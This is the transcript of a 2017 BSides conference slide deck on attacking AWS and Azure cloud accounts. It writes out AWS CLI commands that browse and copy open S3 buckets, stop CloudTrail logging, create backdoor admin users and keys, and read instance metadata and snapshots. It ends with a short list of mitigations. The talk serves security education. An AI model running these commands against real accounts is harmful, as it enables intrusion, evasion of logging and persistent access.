Pwned Cloud Society - BsidesSLC 2017

69
PWNED CLOUD SOCIETY: Exploiting and Expanding Access within Azure & AWS

Transcript of Pwned Cloud Society - BsidesSLC 2017

Page 1: Pwned Cloud Society - BsidesSLC 2017

PWNEDCLOUD SOCIETY:

Exploiting and Expanding Access within Azure & AWS

Page 2: Pwned Cloud Society - BsidesSLC 2017

BRYCE KUNZ

Bryce Kunz - @TweekFawkes

@TweekFawkes

Prior Work Experience:• Adobe DMa – Red Team• DoD/NSA – Exploitation• DHS/OneNet – Defense

Trainings & Sessions• RSA – mesos/docker• SAINTCON – osquery• BsidesLV – mesos/docker• Derbycon - WhiteLightning

Page 3: Pwned Cloud Society - BsidesSLC 2017

CLOUD…

Bryce Kunz - @TweekFawkes

… only one thing is for sure …

AWS

Page 4: Pwned Cloud Society - BsidesSLC 2017

SO MUCH…

Bryce Kunz - @TweekFawkes

… only one thing is for sure …

AWS Azure

Page 5: Pwned Cloud Society - BsidesSLC 2017

SOO MUCH…

Bryce Kunz - @TweekFawkes

… only one thing is for sure …

AWS Azure Google

Page 6: Pwned Cloud Society - BsidesSLC 2017

SOOO MUCH…

Bryce Kunz - @TweekFawkes

… only one thing is for sure …

AWS Azure GoogleRackspace

Page 7: Pwned Cloud Society - BsidesSLC 2017

NEW-NEW

Bryce Kunz - @TweekFawkes

… they want that new-new …

AWS Azure GoogleRackspace etc…

Page 8: Pwned Cloud Society - BsidesSLC 2017

OLD IS NEW

Bryce Kunz - @TweekFawkes

… but really it’s not that much different …

Page 9: Pwned Cloud Society - BsidesSLC 2017

OLD WAYS

Bryce Kunz - @TweekFawkes

… push code …… jenkins …… do work son …

CIBatch Jobs

Web

Dev

Code

Page 10: Pwned Cloud Society - BsidesSLC 2017

NEW

Bryce Kunz - @TweekFawkes

… code …… some overpriced hipster services …… do work …

CIBatch Jobs

Web

Dev

S3 BucketBatch

Lambda

Code CodeDeploy

Page 11: Pwned Cloud Society - BsidesSLC 2017

ADMINS

Bryce Kunz - @TweekFawkes

... admin …

AD/LDAP

CIBatch Jobs

Web Admin

Dev

Code

Page 12: Pwned Cloud Society - BsidesSLC 2017

NEW ADMIN

Bryce Kunz - @TweekFawkes

… admins got to admin …

AD/LDAP

CIBatch Jobs

Web Admin

Dev

Management Console

S3 BucketBatch

Lambda

Code CodeDeploy

Page 13: Pwned Cloud Society - BsidesSLC 2017

DEVOPS

Bryce Kunz - @TweekFawkes

… DevOp-ocalypse …

AD/LDAP

CIBatch Jobs

Web DevOps Management Console

S3 BucketBatch

Lambda

Code CodeDeploy

Page 14: Pwned Cloud Society - BsidesSLC 2017

DEVOPS

Bryce Kunz - @TweekFawkes

… DevOp-ocalypse …

AD/LDAP

CIBatch Jobs

Web DevOps Management Console

S3 BucketBatch

Lambda

Code CodeDeploy

Page 15: Pwned Cloud Society - BsidesSLC 2017

BAD DAYS

Bryce Kunz - @TweekFawkes

…happen…

Page 16: Pwned Cloud Society - BsidesSLC 2017

BAD DAYS

Bryce Kunz - @TweekFawkes

… $50k!?!?!?

Page 17: Pwned Cloud Society - BsidesSLC 2017

BAD DAYS

Bryce Kunz - @TweekFawkes

…EC2 instances destroyed…

Page 18: Pwned Cloud Society - BsidesSLC 2017

INITIAL ACCESS

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• Code Repositories• Deployment Tools• Configuration Files

Page 19: Pwned Cloud Society - BsidesSLC 2017

PASTEBIN

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• - PasteBin.com

Page 20: Pwned Cloud Society - BsidesSLC 2017

GITHUB

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• - PasteBin.com• - GitHub.com

Page 21: Pwned Cloud Society - BsidesSLC 2017

REPOS

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• Code Repositories• - BitBucket, GitLab• - Gerrit, GitBlit, Git• - SVN, etc…

Page 22: Pwned Cloud Society - BsidesSLC 2017

DEPLOYACCESS

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• Code Repositories• Deployment Tools• - Puppet, etc…• - Jenkins, etc…

Page 23: Pwned Cloud Society - BsidesSLC 2017

HACK & D/LACCESS

Bryce Kunz - @TweekFawkes

Find a AWS Secrets• Open Source Intel• Code Repositories• Deployment Tools• Configuration Files• - Classic Hacks• -- D/L Secrets

Page 24: Pwned Cloud Society - BsidesSLC 2017

WHAT…

Bryce Kunz - @TweekFawkes

Services- Many Services- API Access- User Access

… is the point?

Page 25: Pwned Cloud Society - BsidesSLC 2017

SOMANY…

Bryce Kunz - @TweekFawkes

Page 26: Pwned Cloud Society - BsidesSLC 2017

TYPES

Bryce Kunz - @TweekFawkes

Page 27: Pwned Cloud Society - BsidesSLC 2017

API

Bryce Kunz - @TweekFawkes

Page 28: Pwned Cloud Society - BsidesSLC 2017

USERS

Bryce Kunz - @TweekFawkes

Page 29: Pwned Cloud Society - BsidesSLC 2017

SETUP

Bryce Kunz - @TweekFawkes

Preparation• New EC2 Instance• Setup AWS Tools

On an Ubuntu 16.x EC2 instance…

apt-get updateapt-get install python-pippip install aws-shellpip install awscli

Page 30: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

Bryce Kunz - @TweekFawkes

S3 Bucket

AmazonS3

Page 31: Pwned Cloud Society - BsidesSLC 2017

REGION

ping -c3 exam.pledig +nocmd exam.ple any +multiline +noall +answer nslookup 54.231.184.255

S3 Buckets• Find Region

S3 Bucket

AmazonS3

Page 32: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2

S3 Buckets• Find Region• Browse Files

S3 Bucket

AmazonS3

Page 33: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2

S3 Buckets• World Browsable

S3 Bucket

AmazonS3

Page 34: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2

S3 Buckets• World Browsable

S3 Bucket

AmazonS3

Page 35: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

aws s3 ls s3://...exam.ple/ --no-sign-request --region us-west-2

S3 Buckets• Sensitive Files

S3 Bucket

AmazonS3

Page 36: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

aws s3 sync s3://…exam.ple/ . --no-sign-request --region us-west-2

S3 Buckets• Sensitive Files

S3 Bucket

AmazonS3

Page 37: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

git log

S3 Buckets• Sensitive Files• - GIT• - SVN• - etc…

S3 Bucket

AmazonS3

Page 38: Pwned Cloud Society - BsidesSLC 2017

S3 BUCKETS

git checkout f7c…

S3 Buckets• Sensitive Files

S3 Bucket

AmazonS3

Page 39: Pwned Cloud Society - BsidesSLC 2017

LEVERAGE SECRETS

Bryce Kunz - @TweekFawkes

Preparation• New EC2 Instance• Setup AWS Tools• Leverage Secrets

Page 40: Pwned Cloud Society - BsidesSLC 2017

CONFIGURE

aws configure --profile example

Preparation• New EC2 Instance• Setup AWS Tools• Leverage Secrets

AWS CLI AWS Cloud

Page 41: Pwned Cloud Society - BsidesSLC 2017

VERIFY

(remove the spaces around the = character for easier scripts)

Preparation• New EC2 Instance• Setup AWS Tools• Leverage Secrets

AWS CLI AWS Cloud

Page 42: Pwned Cloud Society - BsidesSLC 2017

WHOAMI

aws --profile example sts get-caller-identity

Survey Access• Who Are We?

AWS CLI AWS Cloud

Page 43: Pwned Cloud Society - BsidesSLC 2017

IAM WHO

aws --profile example iam get-user

Survey Access• Who Are We?• IAM Who?

AWS CLI AWS Cloud

Page 44: Pwned Cloud Society - BsidesSLC 2017

LOGGING

Bryce Kunz - @TweekFawkes

Survey Access• Who Are We?• Logging?

AWSCloudTrailAWS CLI AWS Cloud

Page 45: Pwned Cloud Society - BsidesSLC 2017

LOGGING?

aws --profile api_cloudtrail cloudtrail describe-trails

Survey Access• Who Are We?• Logging?

AWSCloudTrail

AWSCloudTrailAWS CLI AWS Cloud

Page 46: Pwned Cloud Society - BsidesSLC 2017

STOP-LOGS

aws --profile api_cloudtrail configure set region us-east-1

aws --profile api_cloudtrail cloudtrail stop-logging --name "arn:aws:cloudtrail:us-east-1:…:trail/…"

Survey Access• Who Are We?• Logging?

AWSCloudTrail

Page 47: Pwned Cloud Society - BsidesSLC 2017

OPSEC? Survey Access• Who Are We?• Logging?

AWSCloudTrail

AWSCloudTrailAWS CLI AWS Cloud

Page 48: Pwned Cloud Society - BsidesSLC 2017

LOGGING?

aws --profile api_cloudtrail cloudtrail describe-trails

Survey Access• Who Are We?• Logging?

AWSCloudTrail

AWSCloudTrailAWS CLI AWS Cloud

Page 49: Pwned Cloud Society - BsidesSLC 2017

NO MULTI

aws --profile api_cloudtrail configure set region us-east-1

aws --profile api_cloudtrail cloudtrail update-trail --name "arn:aws:cloudtrail:us-east-1:…:trail/…" --no-is-multi-region-trail --no-include-global-service-events

Stops logging in all regions…• EXCEPT the HomeRegion

AWSCloudTrail

Page 50: Pwned Cloud Society - BsidesSLC 2017

OPSEC…

Stops logging in all regions…• EXCEPT the HomeRegion

AWSCloudTrail

Page 51: Pwned Cloud Society - BsidesSLC 2017

PERSIST

Bryce Kunz - @TweekFawkes

Persistence• Session Token• - Valid for 12 Hours• Add Key• Add Account

AWS CLI AWS Cloud

Page 52: Pwned Cloud Society - BsidesSLC 2017

PERSIST

aws --profile api_cloudtrail sts get-session-token

Persistence• Session Token• - Valid for 12 Hours

AWS CLI AWS Cloud

Page 53: Pwned Cloud Society - BsidesSLC 2017

SETUP

vi ~/.aws/credentials

Persistence• Session Token• - Valid for 12 Hours

AWS CLI AWS Cloud

Page 54: Pwned Cloud Society - BsidesSLC 2017

SESSION

aws --profile sessionTokens sts get-caller-identity

Persistence• Session Token• - Valid for 12 Hours

AWS CLI AWS Cloud

Page 55: Pwned Cloud Society - BsidesSLC 2017

ADD KEY

To an already existing user….

Persistence• Session Token• - Valid for 12 Hours• Add Key

AWS CLI AWS Cloud

Page 56: Pwned Cloud Society - BsidesSLC 2017

ADD KEY Persistence• Session Token• - Valid for 12 Hours• Add Key

aws --profile api_iam iam list-users

AWS CLI AWS Cloud

Page 57: Pwned Cloud Society - BsidesSLC 2017

ADD KEY Persistence• Session Token• - Valid for 12 Hours• Add Key

aws --profile api_iam iam create-access-key --user-name test

AWS CLI AWS Cloud

Page 58: Pwned Cloud Society - BsidesSLC 2017

ADD USER

Bryce Kunz - @TweekFawkes

Persistence• Session Token• - Valid for 12 Hours• Add Key• Add User

AWS CLI AWS Cloud

Page 59: Pwned Cloud Society - BsidesSLC 2017

ADD USER

aws --profile api_iam iam create-user --user-name mryanaws --profile api_iam iam add-user-to-group --user-name mryan --group-name Admin

Persistence• Session Token• - Valid for 12 Hours• Add Key• Add User

Page 60: Pwned Cloud Society - BsidesSLC 2017

ADD KEY

aws --profile api_iam iam create-access-key --user-name mryan

Persistence• Session Token• - Valid for 12 Hours• Add Key• Add User

Page 61: Pwned Cloud Society - BsidesSLC 2017

ADD PASS

aws --profile api_iam iam create-login-profile --user-name mryan --password examplepass

Persistence• Session Token• - Valid for 12 Hours• Add Key• Add User

Page 62: Pwned Cloud Society - BsidesSLC 2017

NEW EC2

Bryce Kunz - @TweekFawkes

Page 63: Pwned Cloud Society - BsidesSLC 2017

EC2 META

Metadata Service: 169.254.169.254

curl http://169.254.169.254/latest/meta-data/

RFC-3927: https://tools.ietf.org/html/rfc3927AWS: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.htmlAWS Query Tool: https://aws.amazon.com/code/1825

Page 64: Pwned Cloud Society - BsidesSLC 2017

AZURE META

Metadata Service: 169.254.169.254curl http://169.254.169.254/metadata/v1/maintenancecurl http://169.254.169.254/metadata/v1/InstanceInfo(these are mostly useless for hackers…) but useful information is copied into the …

/var/lib/waagent directory when the instance is created… (root access needed)• IP address, hostname, subscription ID, resource group name, etc…

Page 65: Pwned Cloud Society - BsidesSLC 2017

SNAPS &IAM

aws --profile api_ec2 ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89

mount /dev/xvdb1 /mnt

find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less

Page 66: Pwned Cloud Society - BsidesSLC 2017

HARD BOOT

Bryce Kunz - @TweekFawkes

Horrible OPSEC but it works…- Power off a server- Mount the server’s hard drive using another EC2- Modify the server for remote access (e.g. add an SSH key to root user)- Power back on the server & PROFIT!

Page 67: Pwned Cloud Society - BsidesSLC 2017

MITIGATIONS• Single Purpose Secrets• Limited the Access of each Secret• Create roles and limit the access of each role• You can ACL off secrets to only work from certain IP addresses• Log API calls (e.g. cloudtrail)• Never use root secrets (use as a break glass account only)• Rotate Secrets Frequently• Encrypt secrets within GIT and other data stores

Page 68: Pwned Cloud Society - BsidesSLC 2017

THANKS!

Bryce Kunz - @TweekFawkes

Page 69: Pwned Cloud Society - BsidesSLC 2017

References • http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/hint2.html

• https://www.slideshare.net/chrisgates/devoops-attacks-and-defenses-for-devops-toolchains

• http://flaws.cloud/

• https://danielgrzelak.com/disrupting-aws-logging-a42e437d6594

• https://danielgrzelak.com/backdooring-an-aws-account-da007d36f8f9

• https://danielgrzelak.com/exploring-an-aws-account-after-pwning-it-ff629c2aae39

• http://docplayer.net/24014561-Defending-the-cloud-from-the-full-stack-hack.html